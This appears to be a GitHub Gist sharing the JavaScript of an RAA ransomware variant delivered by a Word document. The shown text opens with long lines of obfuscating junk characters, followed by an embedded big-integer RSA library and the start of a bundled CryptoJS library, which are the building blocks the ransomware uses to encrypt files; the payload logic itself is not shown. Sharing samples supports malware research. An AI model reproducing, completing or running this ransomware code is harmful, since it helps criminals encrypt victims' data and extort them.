Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?
New RAA ransomware variant - code dropped by a .doc file
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
var biRadixBase = 2;
var biRadixBits = 16;
var bitsPerDigit = biRadixBits;
var biRadix = 1 << 16;
var biHalfRadix = biRadix >>> 1;
var biRadixSquared = biRadix * biRadix;
var maxDigitVal = biRadix - 1;
var maxInteger = 9999999999999998;
var maxDigits;
var ZERO_ARRAY;
var bigZero, bigOne;
function setMaxDigits(value) {
maxDigits = value;
ZERO_ARRAY = new Array(maxDigits);
for (var iza = 0; iza < ZERO_ARRAY.length; iza++) ZERO_ARRAY[iza] = 0;
bigZero = new BigInt();
bigOne = new BigInt();
bigOne.digits[0] = 1
}
setMaxDigits(20);
var dpl10 = 15;
var lr10 = biFromNumber(1000000000000000);
function BigInt(flag) {
if (typeof flag == "boolean" && flag == !0) {
this.digits = null
} else {
this.digits = ZERO_ARRAY.slice(0)
}
this.isNeg = !1
}
function biFromDecimal(s) {
var isNeg = s.charAt(0) == '-';
var i = isNeg ? 1 : 0;
var result;
while (i < s.length && s.charAt(i) == '0') ++i;
if (i == s.length) {
result = new BigInt()
} else {
var digitCount = s.length - i;
var fgl = digitCount % dpl10;
if (fgl == 0) fgl = dpl10;
result = biFromNumber(Number(s.substr(i, fgl)));
i += fgl;
while (i < s.length) {
result = biAdd(biMultiply(result, lr10), biFromNumber(Number(s.substr(i, dpl10))));
i += dpl10
}
result.isNeg = isNeg
}
return result
}
function biCopy(bi) {
var result = new BigInt(!0);
result.digits = bi.digits.slice(0);
result.isNeg = bi.isNeg;
return result
}
function biFromNumber(i) {
var result = new BigInt();
result.isNeg = i < 0;
i = Math.abs(i);
var j = 0;
while (i > 0) {
result.digits[j++] = i & maxDigitVal;
i >>= biRadixBits
}
return result
}
function reverseStr(s) {
var result = "";
for (var i = s.length - 1; i > -1; --i) {
result += s.charAt(i)
}
return result
}
var hexatrigesimalToChar = new Array('0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z');
function biToString(x, radix) {
var b = new BigInt();
b.digits[0] = radix;
var qr = biDivideModulo(x, b);
var result = hexatrigesimalToChar[qr[1].digits[0]];
while (biCompare(qr[0], bigZero) == 1) {
qr = biDivideModulo(qr[0], b);
digit = qr[1].digits[0];
result += hexatrigesimalToChar[qr[1].digits[0]]
}
return (x.isNeg ? "-" : "") + reverseStr(result)
}
function biToDecimal(x) {
var b = new BigInt();
b.digits[0] = 10;
var qr = biDivideModulo(x, b);
var result = String(qr[1].digits[0]);
while (biCompare(qr[0], bigZero) == 1) {
qr = biDivideModulo(qr[0], b);
result += String(qr[1].digits[0])
}
return (x.isNeg ? "-" : "") + reverseStr(result)
}
var hexToChar = new Array('0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f');
function digitToHex(n) {
var mask = 0xf;
var result = "";
for (i = 0; i < 4; ++i) {
result += hexToChar[n & mask];
n >>>= 4
}
return reverseStr(result)
}
function biToHex(x) {
var result = "";
var n = biHighIndex(x);
for (var i = biHighIndex(x); i > -1; --i) {
result += digitToHex(x.digits[i])
}
return result
}
function charToHex(c) {
var ZERO = 48;
var NINE = ZERO + 9;
var littleA = 97;
var littleZ = littleA + 25;
var bigA = 65;
var bigZ = 65 + 25;
var result;
if (c >= ZERO && c <= NINE) {
result = c - ZERO
} else if (c >= bigA && c <= bigZ) {
result = 10 + c - bigA
} else if (c >= littleA && c <= littleZ) {
result = 10 + c - littleA
} else {
result = 0
}
return result
}
function hexToDigit(s) {
var result = 0;
var sl = Math.min(s.length, 4);
for (var i = 0; i < sl; ++i) {
result <<= 4;
result |= charToHex(s.charCodeAt(i))
}
return result
}
function biFromHex(s) {
var result = new BigInt();
var sl = s.length;
for (var i = sl, j = 0; i > 0; i -= 4, ++j) {
result.digits[j] = hexToDigit(s.substr(Math.max(i - 4, 0), Math.min(i, 4)))
}
return result
}
function biFromString(s, radix) {
var isNeg = s.charAt(0) == '-';
var istop = isNeg ? 1 : 0;
var result = new BigInt();
var place = new BigInt();
place.digits[0] = 1;
for (var i = s.length - 1; i >= istop; i--) {
var c = s.charCodeAt(i);
var digit = charToHex(c);
var biDigit = biMultiplyDigit(place, digit);
result = biAdd(result, biDigit);
place = biMultiplyDigit(place, radix)
}
result.isNeg = isNeg;
return result
}
function biToBytes(x) {
var result = "";
for (var i = biHighIndex(x); i > -1; --i) {
result += digitToBytes(x.digits[i])
}
return result
}
function digitToBytes(n) {
var c1 = String.fromCharCode(n & 0xff);
n >>>= 8;
var c2 = String.fromCharCode(n & 0xff);
return c2 + c1
}
function biDump(b) {
return (b.isNeg ? "-" : "") + b.digits.join(" ")
}
function biAdd(x, y) {
var result;
if (x.isNeg != y.isNeg) {
y.isNeg = !y.isNeg;
result = biSubtract(x, y);
y.isNeg = !y.isNeg
} else {
result = new BigInt();
var c = 0;
var n;
for (var i = 0; i < x.digits.length; ++i) {
n = x.digits[i] + y.digits[i] + c;
result.digits[i] = n & 0xffff;
c = Number(n >= biRadix)
}
result.isNeg = x.isNeg
}
return result
}
function biSubtract(x, y) {
var result;
if (x.isNeg != y.isNeg) {
y.isNeg = !y.isNeg;
result = biAdd(x, y);
y.isNeg = !y.isNeg
} else {
result = new BigInt();
var n, c;
c = 0;
for (var i = 0; i < x.digits.length; ++i) {
n = x.digits[i] - y.digits[i] + c;
result.digits[i] = n & 0xffff;
if (result.digits[i] < 0) result.digits[i] += biRadix;
c = 0 - Number(n < 0)
}
if (c == -1) {
c = 0;
for (var i = 0; i < x.digits.length; ++i) {
n = 0 - result.digits[i] + c;
result.digits[i] = n & 0xffff;
if (result.digits[i] < 0) result.digits[i] += biRadix;
c = 0 - Number(n < 0)
}
result.isNeg = !x.isNeg
} else {
result.isNeg = x.isNeg
}
}
return result
}
function biHighIndex(x) {
var result = x.digits.length - 1;
while (result > 0 && x.digits[result] == 0) --result;
return result
}
function biNumBits(x) {
var n = biHighIndex(x);
var d = x.digits[n];
var m = (n + 1) * bitsPerDigit;
var result;
for (result = m; result > m - bitsPerDigit; --result) {
if ((d & 0x8000) != 0) break;
d <<= 1
}
return result
}
function biMultiply(x, y) {
var result = new BigInt();
var c;
var n = biHighIndex(x);
var t = biHighIndex(y);
var u, uv, k;
for (var i = 0; i <= t; ++i) {
c = 0;
k = i;
for (j = 0; j <= n; ++j, ++k) {
uv = result.digits[k] + x.digits[j] * y.digits[i] + c;
result.digits[k] = uv & maxDigitVal;
c = uv >>> biRadixBits
}
result.digits[i + n + 1] = c
}
result.isNeg = x.isNeg != y.isNeg;
return result
}
function biMultiplyDigit(x, y) {
var n, c, uv;
result = new BigInt();
n = biHighIndex(x);
c = 0;
for (var j = 0; j <= n; ++j) {
uv = result.digits[j] + x.digits[j] * y + c;
result.digits[j] = uv & maxDigitVal;
c = uv >>> biRadixBits
}
result.digits[1 + n] = c;
return result
}
function arrayCopy(src, srcStart, dest, destStart, n) {
var m = Math.min(srcStart + n, src.length);
for (var i = srcStart, j = destStart; i < m; ++i, ++j) {
dest[j] = src[i]
}
}
var highBitMasks = new Array(0x0000, 0x8000, 0xC000, 0xE000, 0xF000, 0xF800, 0xFC00, 0xFE00, 0xFF00, 0xFF80, 0xFFC0, 0xFFE0, 0xFFF0, 0xFFF8, 0xFFFC, 0xFFFE, 0xFFFF);
function biShiftLeft(x, n) {
var digitCount = Math.floor(n / bitsPerDigit);
var result = new BigInt();
arrayCopy(x.digits, 0, result.digits, digitCount, result.digits.length - digitCount);
var bits = n % bitsPerDigit;
var rightBits = bitsPerDigit - bits;
for (var i = result.digits.length - 1, i1 = i - 1; i > 0; --i, --i1) {
result.digits[i] = ((result.digits[i] << bits) & maxDigitVal) | ((result.digits[i1] & highBitMasks[bits]) >>> (rightBits))
}
result.digits[0] = ((result.digits[i] << bits) & maxDigitVal);
result.isNeg = x.isNeg;
return result
}
var lowBitMasks = new Array(0x0000, 0x0001, 0x0003, 0x0007, 0x000F, 0x001F, 0x003F, 0x007F, 0x00FF, 0x01FF, 0x03FF, 0x07FF, 0x0FFF, 0x1FFF, 0x3FFF, 0x7FFF, 0xFFFF);
function biShiftRight(x, n) {
var digitCount = Math.floor(n / bitsPerDigit);
var result = new BigInt();
arrayCopy(x.digits, digitCount, result.digits, 0, x.digits.length - digitCount);
var bits = n % bitsPerDigit;
var leftBits = bitsPerDigit - bits;
for (var i = 0, i1 = i + 1; i < result.digits.length - 1; ++i, ++i1) {
result.digits[i] = (result.digits[i] >>> bits) | ((result.digits[i1] & lowBitMasks[bits]) << leftBits)
}
result.digits[result.digits.length - 1] >>>= bits;
result.isNeg = x.isNeg;
return result
}
function biMultiplyByRadixPower(x, n) {
var result = new BigInt();
arrayCopy(x.digits, 0, result.digits, n, result.digits.length - n);
return result
}
function biDivideByRadixPower(x, n) {
var result = new BigInt();
arrayCopy(x.digits, n, result.digits, 0, result.digits.length - n);
return result
}
function biModuloByRadixPower(x, n) {
var result = new BigInt();
arrayCopy(x.digits, 0, result.digits, 0, n);
return result
}
function biCompare(x, y) {
if (x.isNeg != y.isNeg) {
return 1 - 2 * Number(x.isNeg)
}
for (var i = x.digits.length - 1; i >= 0; --i) {
if (x.digits[i] != y.digits[i]) {
if (x.isNeg) {
return 1 - 2 * Number(x.digits[i] > y.digits[i])
} else {
return 1 - 2 * Number(x.digits[i] < y.digits[i])
}
}
}
return 0
}
function biDivideModulo(x, y) {
var nb = biNumBits(x);
var tb = biNumBits(y);
var origYIsNeg = y.isNeg;
var q, r;
if (nb < tb) {
if (x.isNeg) {
q = biCopy(bigOne);
q.isNeg = !y.isNeg;
x.isNeg = !1;
y.isNeg = !1;
r = biSubtract(y, x);
x.isNeg = !0;
y.isNeg = origYIsNeg
} else {
q = new BigInt();
r = biCopy(x)
}
return new Array(q, r)
}
q = new BigInt();
r = x;
var t = Math.ceil(tb / bitsPerDigit) - 1;
var lambda = 0;
while (y.digits[t] < biHalfRadix) {
y = biShiftLeft(y, 1);
++lambda;
++tb;
t = Math.ceil(tb / bitsPerDigit) - 1
}
r = biShiftLeft(r, lambda);
nb += lambda;
var n = Math.ceil(nb / bitsPerDigit) - 1;
var b = biMultiplyByRadixPower(y, n - t);
while (biCompare(r, b) != -1) {
++q.digits[n - t];
r = biSubtract(r, b)
}
for (var i = n; i > t; --i) {
var ri = (i >= r.digits.length) ? 0 : r.digits[i];
var ri1 = (i - 1 >= r.digits.length) ? 0 : r.digits[i - 1];
var ri2 = (i - 2 >= r.digits.length) ? 0 : r.digits[i - 2];
var yt = (t >= y.digits.length) ? 0 : y.digits[t];
var yt1 = (t - 1 >= y.digits.length) ? 0 : y.digits[t - 1];
if (ri == yt) {
q.digits[i - t - 1] = maxDigitVal
} else {
q.digits[i - t - 1] = Math.floor((ri * biRadix + ri1) / yt)
}
var c1 = q.digits[i - t - 1] * ((yt * biRadix) + yt1);
var c2 = (ri * biRadixSquared) + ((ri1 * biRadix) + ri2);
while (c1 > c2) {
--q.digits[i - t - 1];
c1 = q.digits[i - t - 1] * ((yt * biRadix) | yt1);
c2 = (ri * biRadix * biRadix) + ((ri1 * biRadix) + ri2)
}
b = biMultiplyByRadixPower(y, i - t - 1);
r = biSubtract(r, biMultiplyDigit(b, q.digits[i - t - 1]));
if (r.isNeg) {
r = biAdd(r, b);
--q.digits[i - t - 1]
}
}
r = biShiftRight(r, lambda);
q.isNeg = x.isNeg != origYIsNeg;
if (x.isNeg) {
if (origYIsNeg) {
q = biAdd(q, bigOne)
} else {
q = biSubtract(q, bigOne)
}
y = biShiftRight(y, lambda);
r = biSubtract(y, r)
}
if (r.digits[0] == 0 && biHighIndex(r) == 0) r.isNeg = !1;
return new Array(q, r)
}
function biDivide(x, y) {
return biDivideModulo(x, y)[0]
}
function biModulo(x, y) {
return biDivideModulo(x, y)[1]
}
function biMultiplyMod(x, y, m) {
return biModulo(biMultiply(x, y), m)
}
function biPow(x, y) {
var result = bigOne;
var a = x;
for (;;) {
if ((y & 1) != 0) result = biMultiply(result, a);
y >>= 1;
if (y == 0) break;
a = biMultiply(a, a)
}
return result
}
function biPowMod(x, y, m) {
var result = bigOne;
var a = x;
var k = y;
for (;;) {
if ((k.digits[0] & 1) != 0) result = biMultiplyMod(result, a, m);
k = biShiftRight(k, 1);
if (k.digits[0] == 0 && biHighIndex(k) == 0) break;
a = biMultiplyMod(a, a, m)
}
return result
}
function BarrettMu(m) {
this.modulus = biCopy(m);
this.k = biHighIndex(this.modulus) + 1;
var b2k = new BigInt();
b2k.digits[2 * this.k] = 1;
this.mu = biDivide(b2k, this.modulus);
this.bkplus1 = new BigInt();
this.bkplus1.digits[this.k + 1] = 1;
this.modulo = BarrettMu_modulo;
this.multiplyMod = BarrettMu_multiplyMod;
this.powMod = BarrettMu_powMod
}
function BarrettMu_modulo(x) {
var q1 = biDivideByRadixPower(x, this.k - 1);
var q2 = biMultiply(q1, this.mu);
var q3 = biDivideByRadixPower(q2, this.k + 1);
var r1 = biModuloByRadixPower(x, this.k + 1);
var r2term = biMultiply(q3, this.modulus);
var r2 = biModuloByRadixPower(r2term, this.k + 1);
var r = biSubtract(r1, r2);
if (r.isNeg) {
r = biAdd(r, this.bkplus1)
}
var rgtem = biCompare(r, this.modulus) >= 0;
while (rgtem) {
r = biSubtract(r, this.modulus);
rgtem = biCompare(r, this.modulus) >= 0
}
return r
}
function BarrettMu_multiplyMod(x, y) {
var xy = biMultiply(x, y);
return this.modulo(xy)
}
function BarrettMu_powMod(x, y) {
var result = new BigInt();
result.digits[0] = 1;
var a = x;
var k = y;
for (;;) {
if ((k.digits[0] & 1) != 0) result = this.multiplyMod(result, a);
k = biShiftRight(k, 1);
if (k.digits[0] == 0 && biHighIndex(k) == 0) break;
a = this.multiplyMod(a, a)
}
return result
}
var RSAAPP = {};
RSAAPP.NoPadding = "NoPadding";
RSAAPP.PKCS1Padding = "PKCS1Padding";
RSAAPP.RawEncoding = "RawEncoding";
RSAAPP.NumericEncoding = "NumericEncoding"
function RSAKeyPair(encryptionExponent, decryptionExponent, modulus, keylen) {
this.e = biFromHex(encryptionExponent);
this.d = biFromHex(decryptionExponent);
this.m = biFromHex(modulus);
if (typeof(keylen) != 'number') {
this.chunkSize = 2 * biHighIndex(this.m)
} else {
this.chunkSize = keylen / 8
}
this.radix = 16;
this.barrett = new BarrettMu(this.m)
}
function encryptedString(key, s, pad, encoding) {
var a = new Array();
var sl = s.length;
var i, j, k;
var padtype;
var encodingtype;
var rpad;
var al;
var result = "";
var block;
var crypt;
var text;
if (typeof(pad) == 'string') {
if (pad == RSAAPP.NoPadding) {
padtype = 1
} else if (pad == RSAAPP.PKCS1Padding) {
padtype = 2
} else {
padtype = 0
}
} else {
padtype = 0
}
if (typeof(encoding) == 'string' && encoding == RSAAPP.RawEncoding) {
encodingtype = 1
} else {
encodingtype = 0
}
if (padtype == 1) {
if (sl > key.chunkSize) {
sl = key.chunkSize
}
} else if (padtype == 2) {
if (sl > (key.chunkSize - 11)) {
sl = key.chunkSize - 11
}
}
i = 0;
if (padtype == 2) {
j = sl - 1
} else {
j = key.chunkSize - 1
}
while (i < sl) {
if (padtype) {
a[j] = s.charCodeAt(i)
} else {
a[i] = s.charCodeAt(i)
}
i++;
j--
}
if (padtype == 1) {
i = 0
}
j = key.chunkSize - (sl % key.chunkSize);
while (j > 0) {
if (padtype == 2) {
rpad = Math.floor(Math.random() * 256);
while (!rpad) {
rpad = Math.floor(Math.random() * 256)
}
a[i] = rpad
} else {
a[i] = 0
}
i++;
j--
}
if (padtype == 2) {
a[sl] = 0;
a[key.chunkSize - 2] = 2;
a[key.chunkSize - 1] = 0
}
al = a.length;
for (i = 0; i < al; i += key.chunkSize) {
block = new BigInt();
j = 0;
for (k = i; k < (i + key.chunkSize); ++j) {
block.digits[j] = a[k++];
block.digits[j] += a[k++] << 8
}
crypt = key.barrett.powMod(block, key.e);
if (encodingtype == 1) {
text = biToBytes(crypt)
} else {
text = (key.radix == 16) ? biToHex(crypt) : biToString(crypt, key.radix)
}
result += text
}
return result
}
function decryptedString(key, c) {
var blocks = c.split(" ");
var b;
var i, j;
var bi;
var result = "";
for (i = 0; i < blocks.length; ++i) {
if (key.radix == 16) {
bi = biFromHex(blocks[i])
} else {
bi = biFromString(blocks[i], key.radix)
}
b = key.barrett.powMod(bi, key.d);
for (j = 0; j <= biHighIndex(b); ++j) {
result += String.fromCharCode(b.digits[j] & 255, b.digits[j] >> 8)
}
}
if (result.charCodeAt(result.length - 1) == 0) {
result = result.substring(0, result.length - 1)
}
return (result)
}
var CryptoJS = CryptoJS || function(u, p) {
var d = {},
l = d.lib = {},
s = function() {},
t = l.Base = {
extend: function(a) {
s.prototype = this;
var c = new s;
a && c.mixIn(a);
c.hasOwnProperty("init") || (c.init = function() {
c.$super.init.apply(this, arguments)
});
c.init.prototype = c;
c.$super = this;
return c
},
create: function() {
var a = this.extend();
a.init.apply(a, arguments);
return a
},
init: function() {},
mixIn: function(a) {
for (var c in a) a.hasOwnProperty(c) && (this[c] = a[c]);
a.hasOwnProperty("toString") && (this.toString = a.toString)
},
clone: function() {
return this.init.prototype.extend(this)
}
},
r = l.WordArray = t.extend({
init: function(a, c) {
a = this.words = a || [];
this.sigBytes = c != p ? c : 4 * a.length
},
toString: function(a) {
return (a || v).stringify(this)
},
concat: function(a) {
var c = this.words,
e = a.words,
j = this.sigBytes;
a = a.sigBytes;
this.clamp();
if (j % 4)
for (var k = 0; k < a; k++) c[j + k >>> 2] |= (e[k >>> 2] >>> 24 - 8 * (k % 4) & 255) << 24 - 8 * ((j + k) % 4);
else if (65535 < e.length)
for (k = 0; k < a; k += 4) c[j + k >>> 2] = e[k >>> 2];
else c.push.apply(c, e);
this.sigBytes += a;
return this
},
clamp: function() {
var a = this.words,
c = this.sigBytes;
a[c >>> 2] &= 4294967295 << 32 - 8 * (c % 4);
a.length = u.ceil(c / 4)
},
clone: function() {
var a = t.clone.call(this);
a.words = this.words.slice(0);
return a
},
random: function(a) {
for (var c = [], e = 0; e < a; e += 4) c.push(4294967296 * u.random() | 0);
return new r.init(c, a)
}
}),
w = d.enc = {},
v = w.Hex = {
stringify: function(a) {
var c = a.words;
a = a.sigBytes;
for (var e = [], j = 0; j < a; j++) {
var k = c[j >>> 2] >>> 24 - 8 * (j % 4) & 255;
e.push((k >>> 4).toString(16));
e.push((k & 15).toString(16))
}
return e.join("")
},
parse: function(a) {
for (var c = a.length, e = [], j = 0; j < c; j += 2) e[j >>> 3] |= parseInt(a.substr(j, 2), 16) << 24 - 4 * (j % 8);
return new r.init(e, c / 2)
}
},
b = w.Latin1 = {
stringify: function(a) {
var c = a.words;
